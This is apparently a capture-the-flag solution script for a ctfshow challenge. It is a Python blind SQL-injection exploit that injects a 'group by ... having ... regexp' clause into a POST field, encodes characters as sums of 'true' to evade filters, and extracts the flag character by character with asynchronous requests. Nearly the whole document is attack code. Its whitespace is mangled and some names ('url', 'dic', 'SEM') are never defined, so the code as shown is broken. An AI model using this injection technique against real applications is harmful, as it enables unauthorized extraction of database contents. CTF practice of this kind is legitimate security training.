defconver(s)->str: result="concat(" for i in s: asc=ord(i) result+="char("+"true+"*(asc-1)+"true),"
return result[:-1]+')'
asyncdefcheck(session,flag,i): asyncwith SEM: c=conver("^"+flag+i) data={"tableName":f"ctfshow_user group by pass having pass regexp({c})"} asyncwith session.post(url,data=data) as resp: text=await resp.text() return i if"$user_count = 1;"in text elseNone
asyncdefmain(): flag="ctfshow" print(flag,end='') asyncwith aiohttp.ClientSession() as session: for i inrange(50): tasks=[] for c in dic: tasks.append(asyncio.create_task(check(session,flag,c))) for t in asyncio.as_completed(tasks): result=await t if result!=None: flag=flag+result print(result,end="") for _ in tasks: ifnot _.done(): _.cancel() break